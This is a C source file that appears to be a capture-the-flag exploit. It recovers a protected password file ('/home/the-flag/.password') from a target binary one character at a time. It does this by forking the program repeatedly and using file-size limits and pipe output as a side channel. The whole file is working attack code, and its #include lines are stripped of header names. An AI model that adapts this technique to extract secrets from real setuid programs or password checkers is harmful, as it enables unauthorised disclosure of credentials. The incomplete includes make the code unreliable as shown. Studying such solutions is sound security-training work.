#include #include #include #include #include #include #include #include int testfragment(const char *str) { int out[2]; pipe2(out, O_NONBLOCK); if (fork()) { int status; close(out[1]); status = wait(NULL); while (getpgid(status + 1) == getpid()) usleep(100); status = read(out[0], NULL, 1); close(out[0]); return status == 0; } else { int file; struct rlimit limit; char buffer[1025]; char filename[] = "/tmp/level06-XXXXXX"; dup2(out[1], STDOUT_FILENO); close(out[0]); file = mkstemp(filename); unlink(filename); fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK); dup2(file, STDERR_FILENO); getrlimit(RLIMIT_FSIZE, &limit); limit.rlim_cur = 33 + strlen(str); setrlimit(RLIMIT_FSIZE, &limit); snprintf(buffer, 1025, "%s~", str); execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL); } } int testfull(const char *str) { int out[2]; pipe(out); if (fork()) { char result[35 + strlen(str)]; memset(result, 0, sizeof(result)); close(out[1]); wait(NULL); read(out[0], &result, sizeof(result)); close(out[0]); return result[sizeof(result) - 1] == 'W'; } else { dup2(out[1], STDERR_FILENO); close(out[0]); close(STDOUT_FILENO); execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL); } } char allowed_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; int main(int argc, char *argv[]) { char buffer[1024]; int i, j, len; char c; memset(buffer, 0, 1024); len = strlen(allowed_chars); for (i = 0; i < 1024; ++i) { for (j = 0; j < len; ++j) { buffer[i] = allowed_chars[j]; printf("\r\033[2K%s", buffer); fflush(stdout); if (testfragment(buffer)) { if (testfull(buffer)) { printf("\n"); return 0; } break; } } } printf("\r\033[2Kunknown\n"); return 1; }